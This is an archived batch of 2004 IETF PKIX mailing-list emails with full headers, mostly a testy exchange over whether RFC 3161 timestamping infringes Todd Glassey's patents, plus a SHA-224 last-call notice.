Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QNLfbp065034; Fri, 26 Mar 2004 15:21:41 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QNLfhj065033; Fri, 26 Mar 2004 15:21:41 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mtiwmhc11.worldnet.att.net (mtiwmhc11.worldnet.att.net [204.127.131.115]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QNLeIj065027 for <[e-mail]>; Fri, 26 Mar 2004 15:21:40 -0800 (PST) (envelope-from [e-mail])
Received: from gw (92.san-jose-09-10rs.ca.dial-access.att.net[12.72.195.92]) by worldnet.att.net (mtiwmhc11) with SMTP id <2004032623213911100t8lk2e>; Fri, 26 Mar 2004 23:21:40 +0000
Message-ID: <001a01c41389$04ec7870$010aff0a@gw>
From: "todd glassey" <[e-mail]>
To: "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>
References: <032e01c412b0$f3527cf0$010aff0a@gw> <p0602041dbc8909f146e6@[128.89.89.75]> <02ca01c41354$00160440$010aff0a@gw> <p06020402bc8a1951e167@[128.89.89.75]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 12:25:24 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0435_01C4132D.69C8F450"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_0435_01C4132D.69C8F450
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Re: Legal Notice on RFC3161 Uses and their possible infriThen your =
commentary and analysis of this matter is "worthless" eh?

Todd
  ----- Original Message -----=20
  From: Stephen Kent=20
  To: todd glassey=20
  Cc: [e-mail]=20
  Sent: Friday, March 26, 2004 9:31 AM
  Subject: Re: Legal Notice on RFC3161 Uses and their possible =
infringement against Glassey/Mcneil Patents(et al).


  At 9:01 AM -0800 3/26/04, todd glassey wrote:
    Stephen BTW will you or Denis personally write the check here when =
any Court finds in favor of one of us Patent Holders over someone else' =
use of 3161?


    Todd




  I will neither write the check nor hold my breath awaiting a =
successful decision  on your behalf.


  Steve
------=_NextPart_000_0435_01C4132D.69C8F450
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Re: Legal Notice on RFC3161 Uses and their possible =
infri</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<STYLE type=3Dtext/css>BLOCKQUOTE {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
DL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
UL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
OL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
LI {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
</STYLE>

<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Then your commentary and analysis of =
this matter is=20
"worthless" eh?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Todd</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=[e-mail] href=3D"mailto:[e-mail]">Stephen Kent</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  title=[e-mail]=20
  href=3D"mailto:[e-mail]">todd glassey</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A =
title=[e-mail]=20
  href=3D"mailto:[e-mail]">[e-mail]</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Friday, March 26, 2004 =
9:31=20
AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: Legal Notice on =
RFC3161 Uses=20
  and their possible infringement against Glassey/Mcneil Patents(et =
al).</DIV>
  <DIV><BR></DIV>
  <DIV>At 9:01 AM -0800 3/26/04, todd glassey wrote:</DIV>
  <BLOCKQUOTE cite=3D"" type=3D"cite"><FONT face=3DArial =
size=3D-1>Stephen&nbsp;BTW=20
    will you or Denis&nbsp;personally write the check here when any =
Court finds=20
    in favor of one of us Patent Holders over someone else' use of=20
  3161?</FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite=3D"" type=3D"cite">&nbsp;</BLOCKQUOTE>
  <BLOCKQUOTE cite=3D"" type=3D"cite">&nbsp;</BLOCKQUOTE>
  <BLOCKQUOTE cite=3D"" type=3D"cite"><FONT face=3DArial=20
  size=3D-1>Todd</FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite=3D"" type=3D"cite"><BR></BLOCKQUOTE>
  <DIV><BR></DIV>
  <DIV>I will neither write the check nor hold my breath awaiting a =
successful=20
  decision&nbsp; on your behalf.</DIV>
  <DIV><BR></DIV>
  <DIV>Steve</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0435_01C4132D.69C8F450--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QLD5eJ057606; Fri, 26 Mar 2004 13:13:05 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QLD521057605; Fri, 26 Mar 2004 13:13:05 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.nist.gov (rimp1.nist.gov [129.6.16.226]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QLD3Kx057588 for <[e-mail]>; Fri, 26 Mar 2004 13:13:04 -0800 (PST) (envelope-from [e-mail])
Received: from postmark.nist.gov (pushme.nist.gov [129.6.16.92]) by smtp.nist.gov (8.12.10/8.12.10) with ESMTP id i2QLD4mV014427 for <[e-mail]>; Fri, 26 Mar 2004 16:13:04 -0500
Received: from krdp8.nist.gov (krdp8.ncsl.nist.gov [129.6.54.113]) by postmark.nist.gov (8.12.5/8.12.5) with ESMTP id i2QLCVNn027849 for <[e-mail]>; Fri, 26 Mar 2004 16:12:31 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 26 Mar 2004 16:14:34 -0500
To: [e-mail]
From: Tim Polk <[e-mail]>
Subject: WG Last Call: SHA-224
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-NIST-MailScanner: Found to be clean
X-MailScanner-From: [e-mail]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Folks,

This message initiates working group last call for "A 224-bit One-way Hash 
Function: SHA-224"  This document is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-sha224-00.txt.  The 
author has suggested Informational Track for this document, so last call 
will be one week.  That is, Last Call for this document closes on or after 
April 2, 2004.

This specification will provide a stable reference for the SHA-224 
algorithm, which is needed by several IETF specifications.  At least two 
independent implementations exist and agree on the test vectors in this 
document.

Thanks,

Tim Polk



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QHwTjm029488; Fri, 26 Mar 2004 09:58:29 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QHwTGG029487; Fri, 26 Mar 2004 09:58:29 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QHwSEw029472 for <[e-mail]>; Fri, 26 Mar 2004 09:58:28 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i2QHwPbg009878; Fri, 26 Mar 2004 12:58:27 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020402bc8a1951e167@[128.89.89.75]>
In-Reply-To: <02ca01c41354$00160440$010aff0a@gw>
References: <032e01c412b0$f3527cf0$010aff0a@gw> <p0602041dbc8909f146e6@[128.89.89.75]> <02ca01c41354$00160440$010aff0a@gw>
Date: Fri, 26 Mar 2004 12:31:49 -0500
To: "todd glassey" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Cc: <[e-mail]>
Content-Type: multipart/alternative; boundary="============_-1131798621==_ma============"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--============_-1131798621==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 9:01 AM -0800 3/26/04, todd glassey wrote:
>Stephen BTW will you or Denis personally write the check here when 
>any Court finds in favor of one of us Patent Holders over someone 
>else' use of 3161?
>
>
>Todd
>

I will neither write the check nor hold my breath awaiting a 
successful decision  on your behalf.

Steve
--============_-1131798621==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: Legal Notice on RFC3161 Uses and  their
possible infri</title></head><body>
<div>At 9:01 AM -0800 3/26/04, todd glassey wrote:</div>
<blockquote type="cite" cite><font face="Arial"
size="-1">Stephen&nbsp;BTW will you or Denis&nbsp;personally write the
check here when any Court finds in favor of one of us Patent Holders
over someone else' use of 3161?</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1">Todd</font></blockquote>
<blockquote type="cite" cite><br></blockquote>
<div><br></div>
<div>I will neither write the check nor hold my breath awaiting a
successful decision&nbsp; on your behalf.</div>
<div><br></div>
<div>Steve</div>
</body>
</html>
--============_-1131798621==_ma============--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QHwSxH029480; Fri, 26 Mar 2004 09:58:28 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QHwS5D029479; Fri, 26 Mar 2004 09:58:28 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QHwRuE029471 for <[e-mail]>; Fri, 26 Mar 2004 09:58:28 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i2QHwPbc009878; Fri, 26 Mar 2004 12:58:25 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020400bc8a1848a350@[128.89.89.75]>
In-Reply-To: <007a01c41310$be2d49a0$010aff0a@gw>
References: <032e01c412b0$f3527cf0$010aff0a@gw> <p0602041dbc8909f146e6@[128.89.89.75]> <007a01c41310$be2d49a0$010aff0a@gw>
Date: Fri, 26 Mar 2004 12:27:26 -0500
To: "todd glassey" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Cc: <[e-mail]>
Content-Type: multipart/alternative; boundary="============_-1131798622==_ma============"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--============_-1131798622==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:53 AM -0800 3/26/04, todd glassey wrote:
>Steven - stick it.
>

Yes another information rich message from someone who can't even 
manage to spell my name correctly.

Steve

--============_-1131798622==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: Legal Notice on RFC3161 Uses and  their
possible infri</title></head><body>
<div>At 12:53 AM -0800 3/26/04, todd glassey wrote:</div>
<blockquote type="cite" cite><font face="Arial" size="-1">Steven -
stick it.</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<div><br></div>
<div>Yes another information rich message from someone who can't even
manage to spell my name correctly.</div>
<div><br></div>
<div>Steve</div>
<div><br></div>
</body>
</html>
--============_-1131798622==_ma============--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QHvB4C029420; Fri, 26 Mar 2004 09:57:11 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QHvBlr029419; Fri, 26 Mar 2004 09:57:11 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mtiwmhc12.worldnet.att.net (mtiwmhc12.worldnet.att.net [204.127.131.116]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QHvA4w029412 for <[e-mail]>; Fri, 26 Mar 2004 09:57:10 -0800 (PST) (envelope-from [e-mail])
Received: from gw (49.san-jose-04-05rs.ca.dial-access.att.net[12.72.193.49]) by worldnet.att.net (mtiwmhc12) with SMTP id <2004032617570211200mss9ne>; Fri, 26 Mar 2004 17:57:04 +0000
Message-ID: <034301c4135b$ac1c8b40$010aff0a@gw>
From: "todd glassey" <[e-mail]>
To: "Denis Pinkas" <[e-mail]>
Cc: <[e-mail]>
References: <032e01c412b0$f3527cf0$010aff0a@gw> <p0602041dbc8909f146e6@[128.89.89.75]> <02ca01c41354$00160440$010aff0a@gw> <[e-mail]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 09:56:27 -0800
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

read claims 27-29...


----- Original Message ----- 
From: "Denis Pinkas" <[e-mail]>
To: "todd glassey" <[e-mail]>
Cc: <[e-mail]>
Sent: Friday, March 26, 2004 9:53 AM
Subject: Re: Legal Notice on RFC3161 Uses and their possible infringement
against Glassey/Mcneil Patents(et al).


> Todd,
>
> > Stephen BTW will you or Denis personally write the check here when any
> > Court finds in favor of one of us Patent Holders over someone else' use
> > of 3161?
>
> I have been asking you a technical question, so I am still awaiting from
you
> a technical response (not an unrelated question).
>
> Here is my question again:
>
> "A patent called "Controlling Access to Stored Information" is listed as
EP
> 997-808 (5-mar-2000). It uses time and positioning information in concert
> and alone to provide a keying and a control system for evidentiary use and
> that of access control as well."
>
> I have some difficulties to understand how this patent relates in anyway
> with RFC 3161, since the first claim of it is:
>
>     A method for controlling access to stored information comprising
>     determining an actual geographic position where said stored
>     information is located based on signals received at a receiver
>     supplying reliable position information, comparing said actual
>     geographic position with at least one authorized geographic region,
>     and permitting access to said stored, information if said actual
>     geographic position is within said authorized geographic region.
>
> This is however related to GPS, DVD or CD technology which is out of the
> scope of RFC 3161.
>
>   .. but you are probably going to explain that I missed something ..."
>
> Denis
>
>
> > Todd
> >
> >     ----- Original Message -----
> >     From: Stephen Kent <mailto:[e-mail]>
> >     To: [e-mail] <mailto:[e-mail]>
> >     Sent: Thursday, March 25, 2004 2:20 PM
> >     Subject: Re: Legal Notice on RFC3161 Uses and their possible
> >     infringement against Glassey/Mcneil Patents(et al).
> >
> >     Folks,
> >
> >     Attached is the abstract for Todd's latest patent in this area,
> >     which he alluded to in his posting to this list.
> >
> >     Since RFC 3161 makes no mention of using time stamp info for access
> >     control, the likelihood of this RFC infringing seems questionable to
> >     me, but that, of course is not a legal opinion.
> >
> >     If Todd wanted to follow established IETF procedure, as per RFC 2606
> >     he should have sent this message to [e-mail]. In fact Todd
> >     did post such a message for his previous IPR assertions in this
> >     general area, but maybe he didn't feel that such posting had
> >     sufficient dramatic effect.
> >
> >     Steve
> >     -------
> >
> >
> >     Controlling access to stored information based on geographical
> >     location and  date and time
> >
> >     Abstract
> >     Access to stored information by a user is controlled by comparing an
> >     actual  geographic position and/or an actual date/time with a
> >     geographic region  and/or a date/time interval within which access
> >     to the stored information  is authorized. The actual geographic
> >     position where the stored information  is located, and the actual
> >     date/time can be determined, for example, based  on signals received
> >     at a receiver supplying reliable position and time  information,
> >     such as a GPS receiver. Access to the stored information is
> >     authorized if the actual geographic position and/or date/time falls
> >     within  the authorized geographic region and/or date/time interval.
> >     The position  and date/time information supplied by the receiver may
> >     be  cryptographically signed and encrypted.
> >
>
>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QHrTRw028958; Fri, 26 Mar 2004 09:53:29 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QHrT9g028957; Fri, 26 Mar 2004 09:53:29 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QHrSfC028943 for <[e-mail]>; Fri, 26 Mar 2004 09:53:28 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id TAA14852; Fri, 26 Mar 2004 19:02:02 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id TAA30733; Sun, 26 Mar 2000 19:48:15 +0200
Message-ID: <[e-mail]>
Date: Fri, 26 Mar 2004 18:53:26 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: todd glassey <[e-mail]>
CC: [e-mail]
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
References: <032e01c412b0$f3527cf0$010aff0a@gw> <p0602041dbc8909f146e6@[128.89.89.75]> <02ca01c41354$00160440$010aff0a@gw>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Todd,

> Stephen BTW will you or Denis personally write the check here when any 
> Court finds in favor of one of us Patent Holders over someone else' use 
> of 3161?

I have been asking you a technical question, so I am still awaiting from you 
a technical response (not an unrelated question).

Here is my question again:

"A patent called "Controlling Access to Stored Information" is listed as EP 
997-808 (5-mar-2000). It uses time and positioning information in concert 
and alone to provide a keying and a control system for evidentiary use and 
that of access control as well."

I have some difficulties to understand how this patent relates in anyway 
with RFC 3161, since the first claim of it is:

    A method for controlling access to stored information comprising
    determining an actual geographic position where said stored
    information is located based on signals received at a receiver
    supplying reliable position information, comparing said actual
    geographic position with at least one authorized geographic region,
    and permitting access to said stored, information if said actual
    geographic position is within said authorized geographic region.

This is however related to GPS, DVD or CD technology which is out of the 
scope of RFC 3161.

  .. but you are probably going to explain that I missed something ..."

Denis


> Todd
> 
>     ----- Original Message -----
>     From: Stephen Kent <mailto:[e-mail]>
>     To: [e-mail] <mailto:[e-mail]>
>     Sent: Thursday, March 25, 2004 2:20 PM
>     Subject: Re: Legal Notice on RFC3161 Uses and their possible
>     infringement against Glassey/Mcneil Patents(et al).
> 
>     Folks,
> 
>     Attached is the abstract for Todd's latest patent in this area,
>     which he alluded to in his posting to this list.
> 
>     Since RFC 3161 makes no mention of using time stamp info for access
>     control, the likelihood of this RFC infringing seems questionable to
>     me, but that, of course is not a legal opinion.
> 
>     If Todd wanted to follow established IETF procedure, as per RFC 2606
>     he should have sent this message to [e-mail]. In fact Todd
>     did post such a message for his previous IPR assertions in this
>     general area, but maybe he didn't feel that such posting had
>     sufficient dramatic effect.
> 
>     Steve
>     -------
> 
> 
>     Controlling access to stored information based on geographical
>     location and  date and time
> 
>     Abstract
>     Access to stored information by a user is controlled by comparing an
>     actual  geographic position and/or an actual date/time with a
>     geographic region  and/or a date/time interval within which access
>     to the stored information  is authorized. The actual geographic
>     position where the stored information  is located, and the actual
>     date/time can be determined, for example, based  on signals received
>     at a receiver supplying reliable position and time  information,
>     such as a GPS receiver. Access to the stored information is 
>     authorized if the actual geographic position and/or date/time falls
>     within  the authorized geographic region and/or date/time interval.
>     The position  and date/time information supplied by the receiver may
>     be  cryptographically signed and encrypted.
> 




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QH9wff025727; Fri, 26 Mar 2004 09:09:58 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QH9wBA025726; Fri, 26 Mar 2004 09:09:58 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from charizard.ncipherusa.com (67.108.217.164.ptr.us.xo.net [67.108.217.164]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QH9vUT025715 for <[e-mail]>; Fri, 26 Mar 2004 09:09:57 -0800 (PST) (envelope-from [e-mail])
Received: from localhost ([127.0.0.1] helo=us.ncipher.com) by charizard.ncipherusa.com with smtp (Exim 3.36 #1) id 1B6uqA-0008y6-00; Fri, 26 Mar 2004 12:09:54 -0500
Received: from 68.160.182.113 (SquirrelMail authenticated user smustard) by webmail.ncipherusa.com with HTTP; Fri, 26 Mar 2004 12:09:54 -0500 (EST)
Message-ID: <[e-mail]>
Date: Fri, 26 Mar 2004 12:09:54 -0500 (EST)
Subject: Re: TSA for testing
From: "Scott Mustard" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
In-Reply-To: <E1B6m0A-0002au-0P@medusa01>
References: <[e-mail]> <E1B6m0A-0002au-0P@medusa01>
X-Priority: 3
Importance: Normal
Reply-To: [e-mail]
X-Mailer: SquirrelMail (version 1.2.11)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Gerald Willet and I leave ours online as well at dse200.ncipher.com.

Cheers,

Scott Mustard






Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QH2Sdq025245; Fri, 26 Mar 2004 09:02:28 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2QH2SpU025244; Fri, 26 Mar 2004 09:02:28 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mtiwmhc13.worldnet.att.net (mtiwmhc13.worldnet.att.net [204.127.131.117]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2QH2QMn025235 for <[e-mail]>; Fri, 26 Mar 2004 09:02:27 -0800 (PST) (envelope-from [e-mail])
Received: from gw (113.san-jose-09-10rs.ca.dial-access.att.net[12.72.195.113]) by worldnet.att.net (mtiwmhc13) with SMTP id <2004032617020911300shvhce>; Fri, 26 Mar 2004 17:02:09 +0000
Message-ID: <02ca01c41354$00160440$010aff0a@gw>
From: "todd glassey" <[e-mail]>
To: <[e-mail]>, "Stephen Kent" <[e-mail]>
References: <032e01c412b0$f3527cf0$010aff0a@gw> <p0602041dbc8909f146e6@[128.89.89.75]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 09:01:08 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_02AD_01C41310.E0F14810"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_02AD_01C41310.E0F14810
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Re: Legal Notice on RFC3161 Uses and their possible infriStephen BTW =
will you or Denis personally write the check here when any Court finds =
in favor of one of us Patent Holders over someone else' use of 3161?


Todd
  ----- Original Message -----=20
  From: Stephen Kent=20
  To: [e-mail]=20
  Sent: Thursday, March 25, 2004 2:20 PM
  Subject: Re: Legal Notice on RFC3161 Uses and their possible =
infringement against Glassey/Mcneil Patents(et al).


  Folks,


  Attached is the abstract for Todd's latest patent in this area, which =
he alluded to in his posting to this list.


  Since RFC 3161 makes no mention of using time stamp info for access =
control, the likelihood of this RFC infringing seems questionable to me, =
but that, of course is not a legal opinion.


  If Todd wanted to follow established IETF procedure, as per RFC 2606 =
he should have sent this message to [e-mail]. In fact Todd did =
post such a message for his previous IPR assertions in this general =
area, but maybe he didn't feel that such posting had sufficient dramatic =
effect.


  Steve
  -------




  Controlling access to stored information based on geographical =
location and  date and time

  Abstract

  Access to stored information by a user is controlled by comparing an =
actual  geographic position and/or an actual date/time with a geographic =
region  and/or a date/time interval within which access to the stored =
information  is authorized. The actual geographic position where the =
stored information  is located, and the actual date/time can be =
determined, for example, based  on signals received at a receiver =
supplying reliable position and time  information, such as a GPS =
receiver. Access to the stored information is  authorized if the actual =
geographic position and/or date/time falls within  the authorized =
geographic region and/or date/time interval. The position  and date/time =
information supplied by the receiver may be  cryptographically signed =
and encrypted.
------=_NextPart_000_02AD_01C41310.E0F14810
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Re: Legal Notice on RFC3161 Uses and their possible =
infri</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<STYLE type=3Dtext/css>BLOCKQUOTE {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
DL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
UL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
OL {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
LI {
	PADDING-BOTTOM: 0px; PADDING-TOP: 0px
}
</STYLE>

<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Stephen&nbsp;BTW </FONT><FONT =
face=3DArial=20
size=3D2>will you or Denis&nbsp;personally write the check here when any =
Court=20
finds in favor of one of us Patent Holders over someone else' use of=20
3161?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Todd</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
